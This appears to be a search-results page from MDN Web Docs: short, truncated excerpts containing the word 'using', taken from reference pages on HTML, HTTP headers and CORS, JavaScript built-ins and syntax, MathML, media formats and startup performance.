...d is called <span itemprop="band">four parts water</span>.</p> <p>i am <span itemprop="nationality">british</span>.</p> </div> one property, "image", whose value is a url <div itemscope> <img itemprop="image" src="google-logo.png" alt="google"> </div> when a string value can't be easily read and understood by a person (e.g., a long string of numbers and letters), it can be displayed using the value attribute of the data element, with the more easily-understood-by-a human-version given in the element's contents (which is not part of the structured data - see example below).
... if a property's value is a url, the property must be specified using a url property element.
Preloading content with rel="preload" - HTML: Hypertext Markup Language
using as to specify the type of content to be preloaded allows the browser to: prioritize resource loading more accurately.
... store in the cache for future requests, reusing the resource if appropriate.
...because of various reasons, these have to be fetched using anonymous mode cors (see font fetching requirements).
Quirks Mode and Standards Mode - HTML: Hypertext Markup Language
when the web standards were made at w3c, browsers could not just start using them, as doing so would break most existing sites on the web.
... xhtml if you serve your page as xhtml using the application/xhtml+xml mime type in the content-type http header, you do not need a doctype to enable standards mode, as such documents always use full standards mode.
... if you serve xhtml-like content using the text/html mime type, browsers will read it as html, and you will need the doctype to use standards mode.
Choosing between www and non-www URLs - HTTP
this includes always linking to the chosen domain (which shouldn't be hard if you're using relative urls in your website) and always sharing links (by email/social networks, etc.) to the same domain.
... using http 301 redirects in this case, you need to configure the server receiving the http requests (which is most likely the same for www and non-www urls) to respond with an adequate http 301 response to any request to the non-canonical domain.
... using <link rel="canonical"> it is possible to add a special html <link> element to a page to indicate what the canonical address of a page is.
Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’ - HTTP
if the request is being issued using xmlhttprequest, make sure you're not setting withcredentials to true.
... if using server-sent events, make sure eventsource.withcredentials is false (it's the default value).
... if using the fetch api, make sure request.credentials is "omit".
Reason: CORS header 'Access-Control-Allow-Origin' missing - HTTP
for example, to allow a site at https://amazing.site to access the resource using cors, the header should be: access-control-allow-origin: https://amazing.site you can also configure a site to allow any site to access it by using the * wildcard.
... access-control-allow-origin: * warning: using the wildcard to allow all sites to access a private api is a bad idea.
... to allow any site to make cors requests without using the * wildcard (for example, to enable credentials), your server must read the value of the request's origin header and use that value to set access-control-allow-origin, and must also set a vary: origin header to indicate that some headers are being set dynamically depending on the origin.
Compression in HTTP - HTTP
for images, gif or png are using loss-less compression.
... to do this, http uses a mechanism similar to the content negotiation for end-to-end compression: the node transmitting the request advertizes its will using the te header and the other node chooses the adequate method, applies it, and indicates its choice with the transfer-encoding header.
... note that using transfer-encoding and compression at the hop level is so rare that most servers, like apache, nginx, or iis, have no easy way to configure it.
HTTP conditional requests - HTTP
often this is done using an etag with the md5 hash of the resource (or a derivative).
...these same two versions are considered different when using strong validation.
...all subsequent updates, based on the now obsolete version of the resource, are rejected: this is implemented using the if-match or if-unmodified-since headers.
Content negotiation - HTTP
when a client wants to obtain a resource, the client requests it using its url.
...site designers must not be over-zealous by using language detection via this header as it can lead to a poor user experience: they should always provide a way to overcome the server-chosen language, e.g., by providing a language menu on the site.
...in other words, only entry pages of a site should select the proper language using this header.
Accept-Language - HTTP
(by languages, we mean natural languages, such as english, and not programming languages.) using content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice with the content-language response header.
...the content of the accept-language is often out of the control of the user (like when traveling and using an internet cafe in a different country); the user may also want to visit a page in another language than the locale of their user interface.
... ;q= (q-factor weighting) any value placed in an order of preference expressed using a relative quality value called weight.
Access-Control-Allow-Credentials - HTTP
when used as part of a response to a preflight request, this indicates whether or not the actual request can be made using credentials.
...for a cors request with credentials, in order for browsers to expose the response to frontend javascript code, both the server (using the access-control-allow-credentials header) and the client (by setting the credentials mode for the xhr, fetch, or ajax request) must indicate that they’re opting in to including credentials.
... examples allow credentials: access-control-allow-credentials: true using xhr with credentials: var xhr = new xmlhttprequest(); xhr.open('get', 'http://example.com/', true); xhr.withcredentials = true; xhr.send(null); using fetch with credentials: fetch(url, { credentials: 'include' }) specifications specification status comment fetchthe definition of 'access-control-allow-credentials' in that specification.
Cache-Control - HTTP
however, the stored response must always go through validation with the origin server first before using it, therefore, you cannot use no-cache in-conjunction with immutable.
...the cache should either respond using a stored response, or respond with a 504 status code.
... cache-control: public, max-age=604800, immutable requiring revalidation specifying no-cache or max-age=0 indicates that clients can cache a resource and must revalidate each time before using it.
Transfer-Encoding - HTTP
compress a format using the lempel-ziv-welch (lzw) algorithm.
... deflate using the zlib structure (defined in rfc 1950), with the deflate compression algorithm (defined in rfc 1951).
... gzip a format using the lempel-ziv coding (lz77), with a 32-bit crc.
Upgrade - HTTP
WebHTTPHeadersUpgrade
for example: http/1.1 101 switching protocols upgrade: foo/2 connection: upgrade send a response to the original request using the new protocol (the server may only switch to a protocol with which it can complete the original request).
... a server may also send the header as part of a 426 upgrade required response, to indicate that the server won't perform the request using the current protocol, but might do so if the protocol is changed.
... the client can then request a protocol change using the process above.
Proxy Auto-Configuration (PAC) file - HTTP
examples proxy w3proxy.netscape.com:8080; proxy mozilla.netscape.com:8081 primary proxy is w3proxy:8080; if that goes down start using mozilla:8081 until the primary proxy comes up again.
... example 2 as above, but use proxy for local servers which are outside the firewall if there are hosts (such as the main web server) that belong to the local domain but are outside the firewall and are only reachable through the proxy server, those exceptions can be handled using the localhostordomainis() function: function findproxyforurl(url, host) { if ( (isplainhostname(host) || dnsdomainis(host, ".mozilla.org")) && !localhostordomainis(host, "www.mozilla.org") && !localhostordoaminis(host, "merchant.mozilla.org") ) { return "direct"; } else { return "proxy w3proxy.mozilla.org:8080; direct"; } } the above example will use the proxy for ev...
...roxy http-proxy.mydomain.com:8080"; else if (url.startswith("ftp:")) return "proxy ftp-proxy.mydomain.com:8080"; else if (url.startswith(“gopher:")) return "proxy gopher-proxy.mydomain.com:8080"; else if (url.startswith("https:") || url.startswith("snews:")) return "proxy security-proxy.mydomain.com:8080"; else return "direct"; } note: the same can be accomplished using the shexpmatch() function described earlier.
HTTP Public Key Pinning (HPKP) - HTTP
max-age the time, in seconds, that the browser should remember that this site is only to be accessed using one of the defined keys.
... first you need to extract the public key information from your certificate or key file and encode them using base64.
... report-only header instead of using a public-key-pins header you can also use a public-key-pins-report-only header.
HTTP response status codes - HTTP
WebHTTPStatus
the initial aim for creating this code was using it for digital payment systems, however this status code is used very rarely and no standard convention exists.
... 403 forbidden the client does not have access rights to the content; that is, it is unauthorized, so the server is refusing to give the requested resource.
... 426 upgrade required the server refuses to perform the request using the current protocol but might be willing to do so after the client upgrades to a different protocol.
Iterators and generators - JavaScript
erationcount = 0; const rangeiterator = { next: function() { let result; if (nextindex < end) { result = { value: nextindex, done: false } nextindex += step; iterationcount++; return result; } return { value: iterationcount, done: true } } }; return rangeiterator; } using the iterator then looks like this: const it = makerangeiterator(1, 10, 2); let result = it.next(); while (!result.done) { console.log(result.value); // 1 3 5 7 9 result = it.next(); } console.log("iterated over sequence of size: ", result.value); // [5 numbers returned, that took interval in between: 0 to 10] note: it is not possible to know reflectively whether a particular object is an...
...generator functions are written using the function* syntax.
... here is the fibonacci generator using next(x) to restart the sequence: function* fibonacci() { let current = 0; let next = 1; while (true) { let reset = yield current; [current, next] = [next, next + current]; if (reset) { current = 0; next = 1; } } } const sequence = fibonacci(); console.log(sequence.next().value); // 0 console.log(sequence.next().value); // 1 console.log(sequence.ne...
Private class fields - JavaScript
there is however an experimental proposal to allow defining private class fields using a hash # prefix is added.
... this can lead to unexpected behaviour when using this.
... } static publicstaticmethod1() { return classwithprivatestaticmethod.#privatestaticmethod(); } static publicstaticmethod2() { return this.#privatestaticmethod(); } } console.assert(classwithprivatestaticmethod.publicstaticmethod1() === 42); console.assert(classwithprivatestaticmethod.publicstaticmethod2() === 42); this can lead to unexpected behaviour when using this.
static - JavaScript
} examples using static in classes the following example demonstrates several things: how a static method is implemented on a class.
...n called'; } static anotherstaticmethod() { return this.staticmethod() + ' from another static method'; } } staticmethodcall.staticmethod(); // 'static method has been called' staticmethodcall.anotherstaticmethod(); // 'static method has been called from another static method' calling static methods from a class constructor and other methods static methods are not directly accessible using the this keyword from non-static methods.
... you need to call them using the class name: classname.static_method_name() or by calling the method as a property of the constructor: this.constructor.static_method_name().
SyntaxError: redeclaration of formal parameter "x" - JavaScript
the javascript exception "redeclaration of formal parameter" occurs when the same variable name occurs as a function parameter and is then redeclared using a let assignment in a function body again.
... the same variable name occurs as a function parameter and is then redeclared using a let assignment in a function body again.
... redeclaring the same variable within the same function or block scope using let is not allowed in javascript.
Array.prototype.find() - JavaScript
(it’s similar to findindex(), but checks each element for equality with the value instead of using a testing function.) if you need to find if a value exists in an array, use array.prototype.includes().
... again, it checks each element for equality with the value instead of using a testing function.
... examples find an object in an array by one of its properties const inventory = [ {name: 'apples', quantity: 2}, {name: 'bananas', quantity: 0}, {name: 'cherries', quantity: 5} ]; function ischerries(fruit) { return fruit.name === 'cherries'; } console.log(inventory.find(ischerries)); // { name: 'cherries', quantity: 5 } using arrow function and destructuring const inventory = [ {name: 'apples', quantity: 2}, {name: 'bananas', quantity: 0}, {name: 'cherries', quantity: 5} ]; const result = inventory.find( ({ name }) => name === 'cherries' ); console.log(result) // { name: 'cherries', quantity: 5 } find a prime number in an array the following example finds an element in the array that is a prime number (or r...
Array.prototype.lastIndexOf() - JavaScript
description lastindexof compares searchelement to elements of the array using strict equality (the same method used by the ===, or triple-equals, operator).
... examples using lastindexof the following example uses lastindexof to locate values in an array.
... var numbers = [2, 5, 9, 2]; numbers.lastindexof(2); // 3 numbers.lastindexof(7); // -1 numbers.lastindexof(2, 3); // 3 numbers.lastindexof(2, 2); // 0 numbers.lastindexof(2, -2); // 0 numbers.lastindexof(2, -1); // 3 finding all the occurrences of an element the following example uses lastindexof to find all the indices of an element in a given array, using push to add them to another array as they are found.
Date.prototype.getDay() - JavaScript
examples using getday() the second statement below assigns the value 1 to weekday, based on the value of the date object xmas95.
... var xmas95 = new date('december 25, 1995 23:15:30'); var weekday = xmas95.getday(); console.log(weekday); // 1 note: if needed, the full name of a day ("monday" for example) can be obtained by using intl.datetimeformat with an options parameter.
... using this method, the internationalization is made easier: var options = { weekday: 'long'}; console.log(new intl.datetimeformat('en-us', options).format(xmas95)); // monday console.log(new intl.datetimeformat('de-de', options).format(xmas95)); // montag specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getday' in that specification.
Date.prototype.getMonth() - JavaScript
examples using getmonth() the second statement below assigns the value 11 to the variable month, based on the value of the date object xmas95.
... var xmas95 = new date('december 25, 1995 23:15:30'); var month = xmas95.getmonth(); console.log(month); // 11 note: if needed, the full name of a month ("january" for example) can be obtained by using intl.datetimeformat() with an options parameter.
... using this method, internationalization is made easier: var options = { month: 'long'}; console.log(new intl.datetimeformat('en-us', options).format(xmas95)); // december console.log(new intl.datetimeformat('de-de', options).format(xmas95)); // dezember specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getmonth' in that specification.
Date.prototype.toUTCString() - JavaScript
the toutcstring() method converts a date to a string, using the utc time zone.
... syntax dateobj.toutcstring() return value a string representing the given date using the utc time zone.
... examples using toutcstring() let today = new date('wed, 14 jun 2017 00:00:00 pdt'); let utcstring = today.toutcstring(); // wed, 14 jun 2017 07:00:00 gmt specifications specification ecmascript (ecma-262)the definition of 'date.prototype.toutcstring' in that specification.
Function.name - JavaScript
javascript compressors and minifiers warning: be careful when using function.name and source code transformations, such as those carried out by javascript compressors (minifiers) or obfuscators.
... (new function).name; // "anonymous" anonymous function expression anonymous function expressions that were created using the keyword function or arrow functions would have ""(an empty string) as their name.
... function foo() {}; foo.bind({}).name; // "bound foo" function names for getters and setters when using get and set accessor properties, "get" or "set" will appear in the function name.
Intl.Collator.prototype.resolvedOptions() - JavaScript
collation the value requested using the unicode extension key "co", if it is supported for locale, or "default".
... numeric casefirst the values requested for these properties in the options argument or using the unicode extension keys "kn" and "kf" or filled in as defaults.
... examples using the resolvedoptions method var de = new intl.collator('de', { sensitivity: 'base' }) var usedoptions = de.resolvedoptions(); usedoptions.locale; // "de" usedoptions.usage; // "sort" usedoptions.sensitivity; // "base" usedoptions.ignorepunctuation; // false usedoptions.collation; // "default" usedoptions.numeric; // false specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.collator.prototype.resolvedoptions' in that specification.
Intl.Collator - JavaScript
examples using collator the following example demonstrates the different potential results for a string occurring before, after, or at the same level as another: console.log(new intl.collator().compare('a', 'c')); // → a negative value console.log(new intl.collator().compare('c', 'a')); // → a positive value console.log(new intl.collator().compare('a', 'a')); // → 0 note that the results shown in the ...
... using locales the results provided by collator.prototype.compare() vary between languages.
... in order to get the sort order of the language used in the user interface of your application, make sure to specify that language (and possibly some fallback languages) using the locales argument: // in german, ä sorts with a console.log(new intl.collator('de').compare('ä', 'z')); // → a negative value // in swedish, ä sorts after z console.log(new intl.collator('sv').compare('ä', 'z')); // → a positive value using options the results provided by collator.prototype.compare() can be customized using the options argument: // in german, ä has a as the base letter console.log(new intl.collator('de', { sensitivity: 'base' }).compare('ä', 'a')); // → 0 // in swedish, ä and a are separate base letters console.log(new intl.collator('sv', { sensitivity: 'base' }).compare('ä', 'a'))...
Intl.RelativeTimeFormat - JavaScript
const rtf = new intl.relativetimeformat("en", { localematcher: "best fit", // other values: "lookup" numeric: "always", // other values: "auto" style: "long", // other values: "short" or "narrow" }); // format relative time using negative value (-1).
... rtf.format(-1, "day"); // > "1 day ago" // format relative time using positive value (1).
... rtf.format(1, "day"); // > "in 1 day" using formattoparts the following example shows how to create a relative time formatter returning formatted parts const rtf = new intl.relativetimeformat("en", { numeric: "auto" }); // format relative time using the day unit.
Intl - JavaScript
locale identification and negotiation the internationalization constructors as well as several language sensitive methods of other constructors (listed under see also) use a common pattern for identifying locales and determining the one they will actually use: they all accept locales and options arguments, and negotiate the requested locale(s) against the locales they support using an algorithm specified in the options.localematcher property.
... finally, an extension using the letter "x" may appear, followed by one or one- to eight-letter or digit tags.
...the matcher can be selected using a property of the options argument (see below).
Number.isSafeInteger() - JavaScript
handling values larger or smaller than ~9 quadrillion with full precision requires using an arbitrary precision arithmetic library.
... for larger integers, consider using the bigint type.
... polyfill number.issafeinteger = number.issafeinteger || function (value) { return number.isinteger(value) && math.abs(value) <= number.max_safe_integer; }; examples using issafeinteger number.issafeinteger(3); // true number.issafeinteger(math.pow(2, 53)); // false number.issafeinteger(math.pow(2, 53) - 1); // true number.issafeinteger(nan); // false number.issafeinteger(infinity); // false number.issafeinteger('3'); // false number.issafeinteger(3.1); // false number.issafeinteger...
Number.prototype.toFixed() - JavaScript
the tofixed() method formats a number using fixed-point notation.
... return value a string representing the given number using fixed-point notation.
... examples using tofixed let numobj = 12345.6789 numobj.tofixed() // returns '12346': note rounding, no fractional part numobj.tofixed(1) // returns '12345.7': note rounding numobj.tofixed(6) // returns '12345.678900': note added zeros (1.23e+20).tofixed(2) // returns '123000000000000000000.00' (1.23e-10).tofixed(2) // returns '0.00' 2.34.tofixed(1) // returns '2.3' 2.35.tofixed(1) ...
Object.setPrototypeOf() - JavaScript
instead, create a new object with the desired [[prototype]] using object.create().
...log(typeof oprime); // 'object' third example: appending a chain to the function.prototype object and appending a new function to that chain function person(sname) { this.identity = sname; } var george = object.appendchain(new person('george'), 'console.log("hello guys!!");'); console.log(george.identity); // 'george' george(); // 'hello guys!!' polyfill using the older object.prototype.__proto__ property, we can easily define object.setprototypeof if it isn't available already: if (!object.setprototypeof) { // only works in chrome and firefox, does not work in ie: object.prototype.setprototypeof = function(obj, proto) { if(obj.__proto__) { obj.__proto__ = proto; return obj; } else { //...
... if you want to return prototype of object.create(null): var fn = function() { for (var key in obj) { object.defineproperty(this, key, { value: obj[key], }); } }; fn.prototype = proto; return new fn(); } } } examples using object.setprototypeof var dict = object.setprototypeof({}, null); specifications specification ecmascript (ecma-262)the definition of 'object.setprototypeof' in that specification.
Object.prototype.valueOf() - JavaScript
also see using unary plus.
... an object's valueof method is usually invoked by javascript, but you can invoke it yourself as follows: mynumbertype.valueof() note: objects in string contexts convert via the tostring() method, which is different from string objects converting to string primitives using valueof.
... examples using valueof on custom types function mynumbertype(n) { this.number = n; } mynumbertype.prototype.valueof = function() { return this.number; }; var myobj = new mynumbertype(4); myobj + 3; // 7 using unary plus +"5" // 5 (string to number) +"" // 0 (string to number) +"1 + 2" // nan (doesn't evaluate) +new date() // same as (new date()).gettime() +"foo" // nan (string to number) +{} // nan +[] // 0 (tostring() returns an empty string list) +[1] // 1 +[1,2] // nan +new set([1]) // nan +bigint(1) // uncaught typeerror: cannot convert a bigint value to a number +undefined // nan +null // 0 +true // 1 +false // 0 specifications specif...
Reflect.construct() - JavaScript
(this would also be possible by using the spread syntax combined with the new operator.) let obj = new foo(...args) let obj = reflect.construct(foo, args) reflect.construct() vs object.create() prior to the introduction of reflect, objects could be constructed using an arbitrary combination of constructor and prototype by using object.create().
...when using object.create() and function.prototype.apply(), the new.target operator will point to undefined within the function used as the constructor, since the new keyword is not being used to create the object.
...} let obj3 = object.create(otherclass.prototype); oneclass.apply(obj3, args) // output: // oneclass // undefined examples using reflect.construct() let d = reflect.construct(date, [1776, 6, 4]) d instanceof date // true d.getfullyear() // 1776 specifications specification ecmascript (ecma-262)the definition of 'reflect.construct' in that specification.
String.fromCodePoint() - JavaScript
the static string.fromcodepoint() method returns a string created by using the specified sequence of code points.
... return value a string created by using the specified sequence of code points.
... } } return result + stringfromcharcode.apply(null, codeunits); }; try { // ie 8 only supports `object.defineproperty` on dom elements object.defineproperty(string, "fromcodepoint", { "value": fromcodepoint, "configurable": true, "writable": true }); } catch(e) { string.fromcodepoint = fromcodepoint; } }(string.fromcharcode)); examples using fromcodepoint() valid input: string.fromcodepoint(42); // "*" string.fromcodepoint(65, 90); // "az" string.fromcodepoint(0x404); // "\u0404" == "Є" string.fromcodepoint(0x2f804); // "\ud87e\udc04" string.fromcodepoint(194564); // "\ud87e\udc04" string.fromcodepoint(0x1d306, 0x61, 0x1d307); // "\ud834\udf06a\ud834\udf07" invalid input: string.fromcodepoint('_'); // rangeer...
String.prototype.matchAll() - JavaScript
if a non-regexp object obj is passed, it is implicitly converted to a regexp by using new regexp(obj).
... instead, by using matchall, you get an iterator to use with the more convenient for...of, array spread, or array.from() constructs: const regexp = regexp('foo[a-z]*','g'); const str = 'table football, foosball'; const matches = str.matchall(regexp); for (const match of matches) { console.log(`found ${match[0]} start=${match.index} end=${match.index + match[0].length}.`); } // expected output: "found football s...
... capture groups are ignored when using match() with the global /g flag: let regexp = /t(e)(st(\d?))/g; let str = 'test1test2'; str.match(regexp); // array ['test1', 'test2'] using matchall, you can access capture groups easily: let array = [...str.matchall(regexp)]; array[0]; // ['test1', 'e', 'st1', '1', index: 0, input: 'test1test2', length: 4] array[1]; // ['test2', 'e', 'st2', '2', index: 5, input: 'test1test2', length: 4] ...
String.prototype.normalize() - JavaScript
you can use normalize() using the "nfd" or "nfc" arguments to produce a form of the string that will be the same for all canonically equivalent strings.
... you can use normalize() using the "nfkd" or "nfkc" arguments to produce a form of the string that will be the same for all compatible strings: let string1 = '\ufb00'; let string2 = '\u0066\u0066'; console.log(string1); // ff console.log(string2); // ff console.log(string1 === string2); // false console.log(string1.length); // 1 console.log(string2.length); // 2 string1 = string1.normalize...
... examples using normalize() // initial string // u+1e9b: latin small letter long s with dot above // u+0323: combining dot below let str = '\u1e9b\u0323'; // canonically-composed form (nfc) // u+1e9b: latin small letter long s with dot above // u+0323: combining dot below str.normalize('nfc'); // '\u1e9b\u0323' str.normalize(); // same as above // canonically-decomposed form (nfd) // u+017f: latin s...
String.prototype.split() - JavaScript
examples using split() when the string is empty, split() returns an array containing one empty string, rather than an empty array.
... const mystring = '' const splits = mystring.split() console.log(splits) // ↪ [""] the following example defines a function that splits a string into an array of strings using separator.
... reversing a string using split() this is not a robust way to reverse a string: const str = 'asdfghjkl' const strreverse = str.split('').reverse().join('') // 'lkjhgfdsa' // split() returns an array on which reverse() and join() can be applied it doesn't work if the string contains grapheme clusters, even when using a unicode-aware split.
String.prototype.substring() - JavaScript
examples using substring() the following example uses substring() to display characters from the string 'mozilla': let anystring = 'mozilla' // displays 'm' console.log(anystring.substring(0, 1)) console.log(anystring.substring(1, 0)) // displays 'mozill' console.log(anystring.substring(0, 6)) // displays 'lla' console.log(anystring.substring(4)) console.log(anystring.substring(4, 7)) console.log(anystring...
....substring(7, 4)) // displays 'mozilla' console.log(anystring.substring(0, 7)) console.log(anystring.substring(0, 10)) using substring() with length property the following example uses the substring() method and length property to extract the last characters of a particular string.
... furthermore, substr() is considered a legacy feature in ecmascript and could be removed from future versions, so it is best to avoid using it if possible.
TypedArray - JavaScript
calling it or using it in a new expression will throw a typeerror, except when used during object creation in js engines that support subclassing.
... var dv = int8array([1, 2, 3]); // typeerror: calling a builtin int8array constructor // without new is forbidden var dv = new int8array([1, 2, 3]); property access you can reference elements in the array using standard array index syntax (that is, using bracket notation).
... // setting and getting using standard array syntax var int16 = new int16array(2); int16[0] = 42; console.log(int16[0]); // 42 // indexed properties on prototypes are not consulted (fx 25) int8array.prototype[20] = 'foo'; (new int8array(32))[20]; // 0 // even when out of bound int8array.prototype[20] = 'foo'; (new int8array(8))[20]; // undefined // or with negative integers int8array.prototype[-1] = 'foo'; (new int8array(8))[-1]; // undefined // named properties are allowed, though ...
WebAssembly.instantiate() - JavaScript
first overload example after fetching some webassembly bytecode using fetch, we compile and instantiate the module using the webassembly.instantiate() function, importing a javascript function into the webassembly module in the process.
... second overload example the following example (see our index-compile.html demo on github, and view it live also) compiles the loaded simple.wasm byte code using the webassembly.compilestreaming() method and then sends it to a worker using postmessage().
...when the module is received, we create an instance from it using the webassembly.instantiate() method and invoke an exported function from inside it.
Standard built-in objects - JavaScript
the global object itself can be accessed using the this operator in the global scope.
... map set weakmap weakset structured data these objects represent and interact with structured data buffers and data coded using javascript object notation (json).
... arraybuffer sharedarraybuffer atomics dataview json control abstraction objects control abstractions can help to structure code, especially async code (without using deeply nested callbacks, for example).
Iteration protocols - JavaScript
inside of this generator function, each entry can be provided by using yield.
... }, [symbol.iterator]: function() { return this; } }; examples using the iteration protocols a string is an example of a built-in iterable object: let somestring = 'hi'; console.log(typeof somestring[symbol.iterator]); // "function" string's default iterator returns the string's code points one by one: let iterator = somestring[symbol.iterator](); console.log(iterator + ''); // "[object string iterator]" console.log(iterator.next()); // { value: "h", done: f...
... using one is likely to result in runtime errors or buggy behavior: let nonwellformediterable = {}; nonwellformediterable[symbol.iterator] = () => 1; [...nonwellformediterable]; // typeerror: [] is not a function iterator examples simple iterator function makeiterator(array) { let nextindex = 0 return { next: function() { return nextindex < array.length ?
Logical OR (||) - JavaScript
short-circuit evaluation the logical or expression is evaluated left to right, it is tested for possible "short-circuit" evaluation using the following rule: (some truthy expression) || expr is short-circuit evaluated to the truthy expression.
... true || false && false // returns true, because && is executed first (true || false) && false // returns false, because operator precedence cannot apply examples using or the following code shows examples of the || (logical or) operator.
...if you only need to filter out null or undefined, consider using the nullish coalescing operator.
Spread syntax (...) - JavaScript
tor, myarguments); console.log(new myconstructorwitharguments); // (internal log of myconstructor): arguments.length: 6 // (internal log of myconstructor): ["hi", "how", "are", "you", "mr", null] // (log of "new myconstructorwitharguments"): {prop1: "val1", prop2: "val2"} spread in array literals a more powerful array literal without spread syntax, to create a new array using an existing array as one part of it, the array literal syntax is no longer sufficient and imperative code must be used instead using a combination of push(), splice(), concat(), etc.
... shallow-cloning (excluding prototype) or merging of objects is now possible using a shorter syntax than object.assign().
... spread syntax (other than in the case of spread properties) can be applied only to iterable objects: const obj = {'key1': 'value1'}; const array = [...obj]; // typeerror: obj is not iterable spread with many values when using spread syntax for function calls, be aware of the possibility of exceeding the javascript engine's argument length limit.
Function expression - JavaScript
you can also define functions using the function constructor and a function declaration.
...this also avoids using the non-standard arguments.callee property.
...the function returns the square of its argument: var x = function(y) { return y * y; }; using a function as a callback more commonly it is used as a callback: button.addeventlistener('click', function(event) { console.log('button is clicked!') }) using an immediately executed function expression an anonymous function is created and called: (function() { console.log('code runs!') })(); specifications specification ecmascript (ecma-262)the definition o...
new.target - JavaScript
the new.target pseudo-property lets you detect whether a function or constructor was called using the new operator.
... in constructors and functions invoked using the new operator, new.target returns a reference to the constructor or function.
...for example, when d was initialized using new d(), the class definition of d was printed; and similarly, in case of c, the class c was printed.
this - JavaScript
// in web browsers, the window object is also the global object: console.log(this === window); // true a = 37; console.log(window.a); // 37 this.b = "mdn"; console.log(window.b) // "mdn" console.log(b) // "mdn" note: you can always easily get the global object using the global globalthis property, regardless of the current context in which your code is running.
...primitives like 7 or 'foo' will be converted to an object using the related constructor, so the primitive number 7 is converted to an object as if by new number(7) and the string 'foo' to an object as if by new string('foo'), e.g.
... // call as a method of an object var obj = {func: foo}; console.log(obj.func() === globalobject); // true // attempt to set this using call console.log(foo.call(obj) === globalobject); // true // attempt to set this using bind foo = foo.bind(obj); console.log(foo() === globalobject); // true no matter what, foo's this is set to what it was when it was created (in the example above, the global object).
export - JavaScript
note: the following is syntactically invalid despite its import equivalent: import defaultexport from 'bar.js'; // valid export defaultexport from 'bar.js'; // invalid the correct way of doing this is to rename the export: export { default as defaultexport } from 'bar.js'; examples using named exports in a module my-module.js, we could include the following code: // module "my-module.js" function cube(x) { return x * x * x; } const foo = math.pi + math.sqrt2; var graph = { options: { color:'white', thickness:'2px' }, draw: function() { console.log('from graph draw function'); } } export { cube, foo, graph }; then in the top-level module included...
... using the default export if we want to export a single value or to have a fallback value for your module, you could use a default export: // module "my-module.js" export default function cube(x) { return x * x * x; } then, in another script, it is straightforward to import the default export: import cube from './my-module.js'; console.log(cube(3)); // 27 using export from let's take an examp...
...le where we have the following hierarchy: childmodule1.js: exporting myfunction and myvariable childmodule2.js: exporting myclass parentmodule.js: acting as an aggregator (and doing nothing else) top level module: consuming the exports of parentmodule.js this is what it would look like using code snippets: // in childmodule1.js let myfunction = ...; // assign something useful to myfunction let myvariable = ...; // assign something useful to myvariable export {myfunction, myvariable}; // in childmodule2.js let myclass = ...; // assign something useful to myclass export myclass; // in parentmodule.js // only aggregating the exports from childmodule1 and childmodule2 // to re-export them export { myfunction, myvariable } from 'childmodule1.js'; export { myclass } from 'childmodule2.js...
for await...of - JavaScript
return promise.resolve({ value: this.i++, done: false }); } return promise.resolve({ done: true }); } }; } }; (async function() { for await (let num of asynciterable) { console.log(num); } })(); // 0 // 1 // 2 iterating over async generators since the return values of async generators conform to the async iterable protocol, they can be looped using for await...of.
... async function* asyncgenerator() { let i = 0; while (i < 3) { yield i++; } } (async function() { for await (let num of asyncgenerator()) { console.log(num); } })(); // 0 // 1 // 2 for a more concrete example of iterating over an async generator using for await...of, consider iterating over data from an api.
... async function* streamasynciterable(stream) { const reader = stream.getreader(); try { while (true) { const { done, value } = await reader.read(); if (done) { return; } yield value; } } finally { reader.releaselock(); } } // fetches data from url and calculates response size using the async generator.
function declaration - JavaScript
you can also define functions using the function constructor and a function expression.
... a function can also be created using an expression (see function expression).
...you can use the function before you declared it: hoisted(); // logs "foo" function hoisted() { console.log('foo'); } note that function expressions are not hoisted: nothoisted(); // typeerror: nothoisted is not a function var nothoisted = function() { console.log('bar'); }; examples using function the following code declares a function that returns the total amount of sales, when given the number of units sold of products a, b, and c.
import - JavaScript
backward compatibility can be ensured using attribute nomodule on the <script> tag.
... import * as mymodule from '/modules/my-module.js'; here, accessing the exports means using the module name ("mymodule" in this case) as a namespace.
... for example, if the module imported above includes an export doalltheamazingthings(), you would call it like this: mymodule.doalltheamazingthings(); import a single export from a module given an object or value named myexport which has been exported from the module my-module either implicitly (because the entire module is exported) or explicitly (using the export statement), this inserts myexport into the current scope.
Transitioning to strict mode - JavaScript
differences from non-strict to strict syntax errors when adding 'use strict';, the following cases will throw a syntaxerror before the script is executing: octal syntax var n = 023; with statement using delete on a variable name delete myvariable; using eval or arguments as variable or function argument name using one of the newly reserved keywords (in prevision for ecmascript 2015): implements, interface, let, package, private, protected, public, static, and yield declaring function in blocks if (a < b) { function f() {} } obvious errors declaring twice the same name for a property na...
...not using eval if you don't really need it may be another pragmatic solution.
... stay away from semantic differences eval: use it only if you know what you're doing arguments: always access function arguments via their name or perform a copy of the arguments object using: var args = array.prototype.slice.call(arguments) as the first line of your function this: only use this when it refers to an object you created.
Template literals (Template strings) - JavaScript
using normal strings, you would have to use the following syntax in order to get multi-line strings: console.log('string text line 1\n' + 'string text line 2'); // "string text line 1 // string text line 2" using template literals, you can do the same like this: console.log(`string text line 1 string text line 2`); // "string text line 1 // string text line 2" expression interpolation in order to ...
...within a backticked template, it is simple to allow inner backticks simply by using them inside a placeholder ${ } within the template.
... // let str2 = strings[2]; let agestr; if (ageexp > 99){ agestr = 'centenarian'; } else { agestr = 'youngster'; } // we can even return a string built using a template literal return `${str0}${personexp}${str1}${agestr}`; } let output = mytag`that ${ person } is a ${ age }`; console.log(output); // that mike is a youngster tag functions don't even need to return a string!
MathML documentation index - MathML
WebMathMLIndex
2 authoring mathml beginner, mathml, mathml project this page explains how to write mathematics using the mathml language.
... 18 <mlabeledtr> mathml, mathml reference, mathml:element, mathml:tabular math the mathml <mlabeledtr> element is used to represent a label in a row either on the left or on the right side (determined using the side attribute on the <mtable> element).
...by default, string literals are displayed as enclosed by double quotes (&quot;); by using the lquote and rquote attributes, you can set custom characters to display.
Media type and format guide: image, audio, and video content - Web media technologies
WebMediaFormats
it also covers each browser's support for using the codec in given containers.
... the "codecs" parameter in common media types when specifying the mime type describing a media format, you can provide details using the codecs parameter as part of the type string.
... codecs used by webrtc webrtc doesn't use a container, but instead streams the encoded media itself from peer to peer using mediastreamtrack objects to represent each audio or video track.
Optimizing startup performance - Web Performance
an often overlooked aspect of app software development—even among those focusing on performance optimization—is startup performance.
...since that's a universal issue, we won't be focusing on it too much here.
... when dealing with data supported by the browser (for example, decoding image data), use the decoders built into the browser or device rather than rolling your own or using one from the original codebase.
d - SVG: Scalable Vector Graphics
